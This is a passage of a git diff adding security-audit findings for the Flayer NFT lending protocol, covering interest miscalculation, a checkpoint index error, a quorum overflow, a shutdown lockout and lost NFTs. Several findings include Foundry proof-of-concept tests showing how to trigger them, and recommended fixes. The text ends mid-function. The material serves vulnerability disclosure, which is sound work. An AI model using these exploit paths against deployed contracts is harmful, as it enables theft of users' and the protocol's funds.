+ emit ListingDebtAdjusted(_collection, _tokenId, _amount);
+ }
+
+```
+We can see that when adjusting the position, the principal (_protectedListings[_collection][_tokenId].tokenTaken) is directly adjusted, leading to an incorrect interest calculation on the absAmount portion during the interest computation.
+
+```javascript
+ function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+ // Get the information relating to the protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Calculate the final amount using the compounded factors and principle amount
+@>> unlockPrice_ = locker.taxCalculator().compound({
+@>> _principle: listing.tokenTaken,
+ _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+ _currentCheckpoint: _currentCheckpoint(_collection)
+ });
+ }
+```
+
+```javascript
+ function compound(
+ uint _principle,
+ IProtectedListings.Checkpoint memory _initialCheckpoint,
+ IProtectedListings.Checkpoint memory _currentCheckpoint
+ ) public pure returns (uint compoundAmount_) {
+ // If the initial checkpoint timestamp is >= the current checkpoint then we just
+ // return the initial principle value.
+ if (_initialCheckpoint.timestamp >= _currentCheckpoint.timestamp) {
+ return _principle;
+ }
+
+ uint compoundedFactor = _currentCheckpoint.compoundedFactor * 1e18 / _initialCheckpoint.compoundedFactor;
+@>> compoundAmount_ = _principle * compoundedFactor / 1e18;
+ }
+```
+Because the final calculation of the total compoundAmount_ (which includes principal and interest) is done by multiplying the principal by a coefficient (greater than 1), this leads to issues in certain scenarios.
+
+Example scenarios:
+
+ 1. Reducing the position
+If the position is reduced by 50, then only 50 * compoundedFactor / 1e18 needs to be calculated, which incorrectly results in no interest being applied to the reduced portion.
+If the position is reduced by 100, making listing.tokenTaken = 0, then all interest becomes 0 as well, meaning no interest needs to be paid.
+
+ 2. Increasing the position
+If the position is increased by 50, then the calculation becomes 150 * compoundedFactor / 1e18, meaning the newly added 50 is incorrectly compounded as if it had accrued 1 month’s interest.
+
+
+## Impact
+The protocol or the user’s funds are subject to losses.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L607
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L106
+## Tool used
+
+Manual Review
+
+## Recommendation
+When adjusting the principal of a position, the effect on the accrued interest must be taken into account.
\ No newline at end of file
diff --git a/001/228.md b/001/228.md
new file mode 100644
index 0000000..d977cc9
--- /dev/null
+++ b/001/228.md
@@ -0,0 +1,104 @@
+Precise Lava Starfish
+
+High
+
+# Lack of delete `_listings[_collection][_tokenId]` in reserve
+
+## Summary
+We miss to delete `_listings[_collection][_tokenId]` in reserve. This ERC721 token will always on the list.
+
+## Vulnerability Detail
+In Listing contract, users can reserve one listing token via reserve(). This listing token will be unlist from the Listing contract, and be added into the protectedListing list.
+The problem is that we decrease the `listingCount`, but we miss delete `_listings[_collection][_tokenId]`. This will cause this token will always on the list.
+When someone gets this token, deposits into locker, this token will never be redeemed because this token is always on list.
+```solidity
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+ ...
+ // Check if the listing is a floor item and process additional logic if there
+ // was an owner (meaning it was not floor, so liquid or dutch).
+ if (oldListing.owner != address(0)) {
+@> Missing delete _listings[_collection][_tokenId]
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
+ }
+ ...
+ }
+
+```
+
+```solidity
+ function redeem(address _collection, uint[] calldata _tokenIds, address _recipient) public nonReentrant whenNotPaused collectionExists(_collection) {
+ ...
+ IERC721 collection = IERC721(_collection);
+
+ for (uint i; i < tokenIdsLength; ++i) {
+@> if (isListing(_collection, _tokenIds[i])) revert TokenIsListing(_tokenIds[i]);
+ collection.transferFrom(address(this), _recipient, _tokenIds[i]);
+ }
+
+ emit TokenRedeem(_collection, _tokenIds, msg.sender, _recipient);
+ }
+```
+### Poc
+```solidity
+ function test_Poc_reserve() public {
+ // Mint one ERC721 token
+ address alice = vm.addr(1);
+ erc721a.mint(alice, 0);
+ // List
+ vm.startPrank(alice);
+ erc721a.approve(address(listings), 0);
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = 0;
+ IListings.CreateListing[] memory _listings = new IListings.CreateListing[](1);
+ _listings[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: tokenIds,
+ listing: IListings.Listing({
+ owner: payable(address(this)),
+ created: uint40(block.timestamp),
+ duration: 7 days,
+ floorMultiple: 120
+ })
+ });
+
+ listings.createListings(_listings);
+ // Reserve
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ deal(address(token), alice, 10 ether);
+ token.approve(address(listings), 10 ether);
+
+ listings.reserve({
+ _collection: address(erc721a),
+ _tokenId: 0,
+ _collateral: 0.3 ether
+ });
+ // Unlock the reserve
+ token.approve(address(protectedListings), 10 ether);
+ protectedListings.unlockProtectedListing(address(erc721a), 0, true);
+ // Deposit & redeem
+
+ // Rather than creating a listing, we will deposit it as a floor token
+ erc721a.approve(address(locker), 0);
+ locker.deposit(address(erc721a), tokenIds);
+ // Redeem
+ token.approve(address(locker), 10 ether);
+ locker.redeem(address(erc721a), tokenIds);
+ }
+```
+The test will be reverted: `[FAIL. Reason: TokenIsListing(0)]`
+
+## Impact
+One ERC721 token will always on the list. If someone deposits in the locker, this token cannot be redeemed.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Delete `_listings[_collection][_tokenId]` in reserve() if this token is on the list.
\ No newline at end of file
diff --git a/001/229.md b/001/229.md
new file mode 100644
index 0000000..9cbdaa6
--- /dev/null
+++ b/001/229.md
@@ -0,0 +1,81 @@
+Modern Metal Butterfly
+
+High
+
+# ETH will be drained from the CollectionShutdown contract because CollectionShutdownParams.quorumVotes is not compatible with collectionTokens that have 7,8 or 9 denominations i.e. 1e27 decimals.
+
+## Summary
+The protocol supports creation of collectionTokens with 1e27 decimals but the `CollectionShutdownParams.quorumVotes` is not compatible with it because `quorumVotes` is only `uint88` which supports upto only 27 digits, i.e. `uint88 max = 309,485,009,821,345,068,724,781,055`
+
+## Vulnerability Detail
+So when `CollectionShutDown::start` function is called to shutdown the collection;
+```params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);``` can overflow and `quorumVotes` will be set to incorrect amount.
+This will allow the quorum to be reached than intended and more importantly early claimers will get more eth than they should and will be rewarded with eth from other collection sales and the last users to claim will be DOSed.
+
+##### For example:
+If the totalSupply was 4e27 i.e. 4 collectionTOkens and [start](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157) was triggered then the [`quorumVotes`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L150C8-L150C98) will be set to;
+* `143089941071929587651313664`, i.e. not even 1 collectionToken, when it should have been
+* `2000000000000000000000000000` i.e. 2e27
+* now since the quorum set is just 0.14 collectionToken, the `params.canExecute = true;` will be triggered faster than expected,
+* and the more impactfull thing is that when users claim their eth;
+```javascript
+ uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = _claimant.call{value: amount}('');
+```
+since `params.quorumVotes` is lesser than expected `amount` will be more than what it should be and hence the claimer will recieve more eth then he should.
+
+## Impact
+This will allow claimers to get more eth than expected, and potentially send eth which is meant for other collections, and when the contract is out of eth, every user even from those of other collections will be DOS form claiming.
+
+Reporting this as high because, even though 1e27 collectionTokens are likely to be created for meme nfts, this overflow can be used to steal eth from other collections.
+This also doesn't need a malicious intent, it just need one or more collections with 9 denominations to be shutdown.
+
+## Code Snippet
+```javascript
+ struct CollectionShutdownParams {
+ uint96 shutdownVotes;
+ address sweeperPool;
+ uint88 quorumVotes;
+```
+
+```javascript
+params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+```
+
+```javascript
+ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+```
+
+## Tool used
+Manual Review
+
+## Recommendation
+Change uint88 to uint128;
+```diff
+ struct CollectionShutdownParams {
+ uint96 shutdownVotes;
+ address sweeperPool;
+- uint88 quorumVotes;
++ uint128 quorumVotes;
+```
+```diff
+- params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
++ params.quorumVotes = uint128(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+
+```
+
+```diff
+ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+- params.quorumVotes = uint88(newQuorum);
++ params.quorumVotes = uint128(newQuorum);
+
+```
+
+
+Also, this might be okay but it still supports only upto `type(uint96).max = 79,228,162,514,264,337,593,543,950,335` i.e. only upto 79 collectionTokens if in 1e27 decimals. Supporting upto 79 tokens is safe considering the `MAX_SHUTDOWN_TOKENS` which is 4, but I suggest this to be changed too to higher uint just to be safer.
+```javascript
+ params.shutdownVotes += uint96(userVotes);
+```
diff --git a/001/231.md b/001/231.md
new file mode 100644
index 0000000..f04a759
--- /dev/null
+++ b/001/231.md
@@ -0,0 +1,113 @@
+Precise Lava Starfish
+
+Medium
+
+# Incorrect index return in _createCheckpoint
+
+## Summary
+The return index is incorrect when `checkpoint.timestamp` equals `collectionCheckpoints[_collection][index_ - 1].timestamp`.
+
+## Vulnerability Detail
+In Flayer, we use checkpoint system to track listing's timestamp and compound factor. The latest valid index should be `collectionCheckpoints[_collection].length - 1`.
+When current timestamp equals last checkpoint's timestamp, we will not add one new checkpoint, just update the compound factor. The problem is that we return `index_`, and `index_` should be expected to be the next index.
+This will cause one listing's checkpoint will be recorded with one incorrect index. When we try to unlock this token, this operation may be reverted because the array is out of bond.
+```solidity
+ function _createCheckpoint(address _collection) internal returns (uint index_) {
+ // Determine the index that will be created
+ index_ = collectionCheckpoints[_collection].length;
+ ...
+ if (index_ == 0) {
+ ...
+ return index_;
+ }
+ Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+ // @audit incorrect index here, should be index_ - 1
+@> return index_;
+ }
+ collectionCheckpoints[_collection].push(checkpoint);
+ }
+
+ function _mapListings(CreateListing memory _createListing, uint _tokenIds, uint _checkpointIndex) internal returns (uint tokensReceived_) {
+ // Loop through our tokens
+ for (uint i; i < _tokenIds; ++i) {
+ // Update our request with the current checkpoint and store the listing
+@> _createListing.listing.checkpoint = _checkpointIndex;
+ _protectedListings[_createListing.collection][_createListing.tokenIds[i]] = _createListing.listing;
+
+ // Increase the number of tokens received by the amount requested
+ tokensReceived_ += _createListing.listing.tokenTaken;
+
+ emit ListingDebtAdjusted(_createListing.collection, _createListing.tokenIds[i], int(uint(_createListing.listing.tokenTaken)));
+ }
+ }
+```
+
+```solidity
+ function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+ // Get the information relating to the protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Calculate the final amount using the compounded factors and principle amount
+ unlockPrice_ = locker.taxCalculator().compound({
+ _principle: listing.tokenTaken, // similar borrow ?
+@> _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+ _currentCheckpoint: _currentCheckpoint(_collection)
+ });
+ }
+```
+
+### Poc
+```solidity
+ function test_Poc_reserve() public {
+ // Mint one ERC721 token
+ address alice = vm.addr(1);
+ erc721a.mint(alice, 0);
+ // List
+ vm.startPrank(alice);
+ erc721a.approve(address(listings), 0);
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = 0;
+ IListings.CreateListing[] memory _listings = new IListings.CreateListing[](1);
+ _listings[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: tokenIds,
+ listing: IListings.Listing({
+ owner: payable(address(this)),
+ created: uint40(block.timestamp),
+ duration: 7 days,
+ floorMultiple: 120
+ })
+ });
+
+ listings.createListings(_listings);
+ // Reserve
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ deal(address(token), alice, 10 ether);
+ token.approve(address(listings), 10 ether);
+
+ listings.reserve({
+ _collection: address(erc721a),
+ _tokenId: 0,
+ _collateral: 0.3 ether
+ });
+ // Unlock the reserve
+ token.approve(address(protectedListings), 10 ether);
+ protectedListings.unlockProtectedListing(address(erc721a), 0, true);
+ }
+```
+This test case will be reverted because of out of bound.
+
+## Impact
+We will record the wrong checkpoint for one listing. If the wrong checkpoint is still not available, we cannot unlock this tokens.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L530-L571
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Return `index_ - 1` if current.timestamp equals last checkpoint's timestamp.
\ No newline at end of file
diff --git a/001/232.md b/001/232.md
new file mode 100644
index 0000000..b894632
--- /dev/null
+++ b/001/232.md
@@ -0,0 +1,204 @@
+Ripe Zinc Duck
+
+High
+
+# User can avoid protected listing fee.
+
+## Summary
+`ProtectedListings._createCheckpoint()` function returns incorrect index when the timestamp of last checkpoint is equal to `block.timestamp`. Exploiting this vulnerability, user can avoid protected listing fee.
+
+## Vulnerability Detail
+`ProtectedListings.createListings()` function is following.
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ // Loop variables
+ uint checkpointIndex;
+ bytes32 checkpointKey;
+ uint tokensIdsLength;
+ uint tokensReceived;
+
+ // Loop over the unique listing structures
+ for (uint i; i < _createListings.length; ++i) {
+ // Store our listing for cheaper access
+ CreateListing calldata listing = _createListings[i];
+
+ // Ensure our listing will be valid
+ _validateCreateListing(listing);
+
+ // Update our checkpoint for the collection if it has not been done yet for
+ // the listing collection.
+ checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+ assembly { checkpointIndex := tload(checkpointKey) }
+ if (checkpointIndex == 0) {
+137: checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+
+ // Map our listings
+ tokensIdsLength = listing.tokenIds.length;
+ tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+
+ // Register our listing type
+ unchecked {
+ listingCount[listing.collection] += tokensIdsLength;
+ }
+
+ // Deposit the tokens into the locker and distribute ERC20 to user
+ _depositNftsAndReceiveTokens(listing, tokensReceived);
+
+ // Event fire
+ emit ListingsCreated(listing.collection, listing.tokenIds, listing.listing, tokensReceived, msg.sender);
+ }
+ }
+```
+The above function get the last checkpoint index of the collection on `L137` and save it to calculate the compound factor in `unlockPrice()` function.
+`ProtectedListings.createListings()` function is following.
+```solidity
+ function _createCheckpoint(address _collection) internal returns (uint index_) {
+ // Determine the index that will be created
+ index_ = collectionCheckpoints[_collection].length;
+
+ // Register the checkpoint that has been created
+ emit CheckpointCreated(_collection, index_);
+
+ // If this is our first checkpoint, then our logic will be different as we won't have
+ // a previous checkpoint to compare against and we don't want to underflow the index.
+ if (index_ == 0) {
+ // Calculate the current interest rate based on utilization
+ (, uint _utilizationRate) = utilizationRate(_collection);
+
+ // We don't have a previous checkpoint to calculate against, so we initiate our
+ // first checkpoint with base data.
+ collectionCheckpoints[_collection].push(
+ Checkpoint({
+ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+ _previousCompoundedFactor: 1e18,
+ _utilizationRate: _utilizationRate,
+ _timePeriod: 0
+ }),
+ timestamp: block.timestamp
+ })
+ );
+
+ return index_;
+ }
+
+ // Get our new (current) checkpoint
+ Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+
+ // If no time has passed in our new checkpoint, then we just need to update the
+ // utilization rate of the existing checkpoint.
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+566: return index_; // @audit index is out-of-bound of collectionCheckpoints[_collection]
+ }
+
+ // Store the new (current) checkpoint
+ collectionCheckpoints[_collection].push(checkpoint);
+ }
+```
+As can be seen in `L566`, the above function returns `last index of collectionCheckpoints[_collection]` + `1` when the timestamp of last checkpoint is equal to `block.timestamp`. Exploiting this vulnerability, user can avoid protected listing fee.
+
+PoC:
+Add the following test code into `ProtectedListings.t.sol`.
+```solidity
+ function test_CreateListingsError() public {
+ erc721a.mint(address(this), 0);
+ erc721a.mint(address(this), 1);
+
+ erc721a.setApprovalForAll(address(protectedListings), true);
+ erc721b.setApprovalForAll(address(protectedListings), true);
+
+ // create listing for tokenId = 0
+ IProtectedListings.CreateListing[] memory _listings = new IProtectedListings.CreateListing[](1);
+ _listings[0] = IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(0),
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(address(this)),
+ tokenTaken: 0.4 ether,
+ checkpoint: 0
+ })
+ });
+ protectedListings.createListings(_listings);
+
+ // create listing for tokenId = 1 within the same block
+ _listings[0].tokenIds = _tokenIdToArray(1);
+ protectedListings.createListings(_listings);
+
+ vm.warp(block.timestamp + 7 days);
+
+ // unlock price for tokenId = 0 is increased.
+ assertEq(protectedListings.unlockPrice(address(erc721a), 0), 402485479451875840);
+
+ // ulockPrice() for tokenId = 1 will revert because of out-of-bound access.
+ vm.expectRevert();
+ protectedListings.unlockPrice(address(erc721a), 1);
+
+ vm.startPrank(address(listings));
+ protectedListings.createCheckpoint(address(erc721a));
+ vm.stopPrank();
+
+ // unlock price for tokenId = 1 is not increased at all.
+ assertEq(protectedListings.unlockPrice(address(erc721a), 1), 0.4 ether);
+ }
+```
+In the above test code, user avoid fees for tokenId = 1 by creating the listing for tokenId = 1 within the same block for tokenId = 0.
+
+## Impact
+User can avoid protected listing fee. It meanas loss of funds for the protocol.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L566
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Modify `ProtectedListings._createCheckpoint()` function as below.
+```solidity
+ function _createCheckpoint(address _collection) internal returns (uint index_) {
+ // Determine the index that will be created
+ index_ = collectionCheckpoints[_collection].length;
+
+ // Register the checkpoint that has been created
+ emit CheckpointCreated(_collection, index_);
+
+ // If this is our first checkpoint, then our logic will be different as we won't have
+ // a previous checkpoint to compare against and we don't want to underflow the index.
+ if (index_ == 0) {
+ // Calculate the current interest rate based on utilization
+ (, uint _utilizationRate) = utilizationRate(_collection);
+
+ // We don't have a previous checkpoint to calculate against, so we initiate our
+ // first checkpoint with base data.
+ collectionCheckpoints[_collection].push(
+ Checkpoint({
+ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+ _previousCompoundedFactor: 1e18,
+ _utilizationRate: _utilizationRate,
+ _timePeriod: 0
+ }),
+ timestamp: block.timestamp
+ })
+ );
+
+ return index_;
+ }
+
+ // Get our new (current) checkpoint
+ Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+
+ // If no time has passed in our new checkpoint, then we just need to update the
+ // utilization rate of the existing checkpoint.
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+-- return index_;
+++ return index_ - 1;
+ }
+
+ // Store the new (current) checkpoint
+ collectionCheckpoints[_collection].push(checkpoint);
+ }
+```
\ No newline at end of file
diff --git a/001/237.md b/001/237.md
new file mode 100644
index 0000000..9145288
--- /dev/null
+++ b/001/237.md
@@ -0,0 +1,93 @@
+Precise Lava Starfish
+
+High
+
+# Users may lose their ERC721 token if they unlockProtectedListing token with _withdraw = false
+
+## Summary
+Malicious users can redeem tokens before the user withdraws the token via `withdrawProtectedListing`.
+
+## Vulnerability Detail
+When users unlock protected listing, users can choose `_withdraw = false`, this ERC721 token will be left in the ProtectedListings contracts. Users can withdraw this token via `withdrawProtectedListing`.
+
+The problem is that when we unlock one token from the protected listing with `_withdraw = false`, this token will be removed from `_protectedListings`. Normal users can redeem this token via locker's redeem() directly. The initial owner will lose their NFT token.
+
+```solidity
+ function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+ ...
+ unchecked { --listingCount[_collection]; }
+@> delete _protectedListings[_collection][_tokenId];
+ if (_withdraw) {
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ } else {
+ canWithdrawAsset[_collection][_tokenId] = msg.sender;
+ }
+ _createCheckpoint(_collection);
+ }
+ function withdrawProtectedListing(address _collection, uint _tokenId) public lockerNotPaused {
+ address _owner = canWithdrawAsset[_collection][_tokenId];
+ if (_owner != msg.sender) revert CallerIsNotOwner(_owner);
+ delete canWithdrawAsset[_collection][_tokenId];
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ }
+
+```
+### Poc
+```solidity
+ function test_PocUnlock() public {
+ uint _tokenId = 0;
+ uint96 _tokensTaken = 0.1 ether;
+ // Set the owner to one of our test users (Alice)
+ address payable _owner = users[0];
+
+ uint startBalance = payable(_owner).balance;
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(_owner, _tokenId);
+
+ // Create our listing
+ vm.startPrank(_owner);
+ erc721a.approve(address(protectedListings), _tokenId);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: _tokensTaken,
+ checkpoint: 0
+ })
+ })
+ });
+
+ uint expectedCollateral = 1 ether - protectedListings.KEEPER_REWARD() - _tokensTaken;
+ // Approve the ERC20 token to be used by the listings contract to cancel the listing
+ locker.collectionToken(address(erc721a)).approve(address(protectedListings), _tokensTaken);
+ protectedListings.unlockProtectedListing(address(erc721a), _tokenId, false);
+ vm.stopPrank();
+ address bob = vm.addr(2);
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ deal(address(token), bob, 10 ether);
+ vm.startPrank(bob);
+ token.approve(address(locker), 10 ether);
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = 0;
+ locker.redeem(address(erc721a), tokenIds);
+ vm.stopPrank();
+ vm.startPrank(_owner);
+ protectedListings.withdrawProtectedListing(address(erc721a), 0);
+ vm.stopPrank();
+ }
+```
+## Impact
+The owner may lose their NFT if they unlock protected listing with `_withdraw = false`.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287-L315
+
+## Tool used
+Manual Review
+
+## Recommendation
+If `_withdraw` is false, we should not delete this token from `_protectedListings`.
\ No newline at end of file
diff --git a/001/239.md b/001/239.md
new file mode 100644
index 0000000..833c5b8
--- /dev/null
+++ b/001/239.md
@@ -0,0 +1,122 @@
+Skinny Pear Crane
+
+High
+
+# Attacker can create a collection which can not be shut down
+
+## Summary
+Issue High: Attacker can create a collection which can not be shut down.
+
+## Vulnerability Detail
+
+When a collection is shutdown, the `shutdownVotes` will not be cleared to zero. So a malicious user could re-create the same collection again which has been shut down before. And this collection can not be shut down since the `shutdownVotes` is not zero, while a new trigger to shut down the collection requires the `shutdownVotes` to be zero.
+
+[CollectionShutdown](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157)
+
+```solidity
+ function start(address _collection) public whenNotPaused {
+ // Confirm that this collection is not prevented from being shutdown
+ if (shutdownPrevented[_collection]) revert ShutdownPrevented();
+
+ // Ensure that a shutdown process is not already actioned
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+
+ // Get the total number of tokens still in circulation, specifying a maximum number
+ // of tokens that can be present in a "dormant" collection.
+ params.collectionToken = locker.collectionToken(_collection);
+ uint totalSupply = params.collectionToken.totalSupply();
+ if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+
+ // Set our quorum vote requirement
+ params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+
+ // Notify that we are processing a shutdown
+ emit CollectionShutdownStarted(_collection);
+
+ // Cast our vote from the user
+ _collectionParams[_collection] = _vote(_collection, params);
+ }
+```
+
+
+## Proof of Concept
+
+Add this poc in `flayer/test/utils/CollectionShutdown.t.sol`:
+
+```solidity
+ function test_cannotShutDown_bug_poc() public {
+ assertEq(collectionToken.totalSupply(),0);
+
+ vm.startPrank(address(locker));
+ collectionToken.mint(address(1), 1 ether);
+ collectionToken.mint(address(this), 1 ether);
+ vm.stopPrank();
+
+ assertEq(collectionToken.totalSupply(),2 ether);
+
+ // Start our vote from address(1)
+ vm.startPrank(address(1));
+ collectionToken.approve(address(collectionShutdown), 1 ether);
+ collectionShutdown.start(address(erc721b));
+ vm.stopPrank();
+
+
+ // Make a vote with our test user that holds `1 ether`, which will pass quorum
+ collectionShutdown.vote(address(erc721b));
+
+ // Mint NFTs into our collection {Locker} and process the execution
+ uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
+ collectionShutdown.execute(address(erc721b), tokenIds);
+
+ // Mock the process of the Sudoswap pool liquidating the NFTs for ETH. This will
+ // provide 0.5 ETH <-> 1 {CollectionToken}.
+ _mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 2 ether);
+
+
+ // Our voting user(s) should now be able to claim their fair share. This will test
+ // both our test contract claiming, as well as our test contract claiming on behalf
+ // of `address(1)` whom also voted.
+ collectionShutdown.claim(address(erc721b), payable(address(this)));
+ collectionShutdown.claim(address(erc721b), payable(address(1)));
+
+
+
+ //re-create
+ locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0);
+ // Initialize our collection, without inflating `totalSupply` of the {CollectionToken}
+ locker.setInitialized(address(erc721b), true);
+
+ ICollectionToken collectionToken2 = locker.collectionToken(address(erc721b));
+
+ vm.startPrank(address(locker));
+ collectionToken2.mint(address(1), 1 ether);
+ collectionToken2.mint(address(this), 1 ether);
+ vm.stopPrank();
+
+
+ vm.startPrank(address(1));
+ collectionToken2.approve(address(collectionShutdown), 1 ether);
+ //collection can not be shut down
+ vm.expectRevert();
+ collectionShutdown.start(address(erc721b));
+ vm.stopPrank();
+
+ }
+```
+
+
+
+## Impact
+When a collection is illiquid, and we have a disperate number of tokens spread across multiple users, a pool has the potential to become unusable. Therefore, if collections can not be shut down, the ETH value of the remaining assets can not be dispersed to the dust token holders.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157
+
+## Tool used
+Manual Review
+
+## Recommendation
+
+Reset the `shutdownVotes` to be zero after the collection is shut down.
diff --git a/001/242.md b/001/242.md
new file mode 100644
index 0000000..ecfe828
--- /dev/null
+++ b/001/242.md
@@ -0,0 +1,93 @@
+Stable Chili Ferret
+
+Medium
+
+# An attacker can use frontrunning to disrupt the shutdown function of a collection.
+
+### Summary
+
+According to the protocol flow, shutdown is not allowed for a specific collection. However, since the check for this exists only in [`start()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135), if an attacker frontruns the execution of `preventShutdown()`, the check for this can be bypassed.
+
+
+### Root Cause
+
+There not exists check of shutdownPrevented about specified collection.
+
+### Internal pre-conditions
+
+params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()
+
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+It behaves differently from the intent of the protocol.
+
+### PoC
+
+There not exists check of shutdownPrevented about specified collection.
+```solidity
+ function vote(address _collection) public nonReentrant whenNotPaused {
+ // Ensure that we are within the shutdown window
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.quorumVotes == 0) revert ShutdownProccessNotStarted();
+
+ _collectionParams[_collection] = _vote(_collection, params);
+ }
+ function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Ensure we have specified token IDs
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength == 0) revert NoNFTsSupplied();
+
+ // Check that no listings currently exist
+ if (_hasListings(_collection)) revert ListingsExist();
+
+ // Refresh total supply here to ensure that any assets that were added during
+ // the shutdown process can also claim their share.
+ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+ }
+
+ // Lockdown the collection to prevent any new interaction
+ locker.sunsetCollection(_collection);
+
+ // Iterate over our token IDs and transfer them to this contract
+ IERC721 collection = IERC721(_collection);
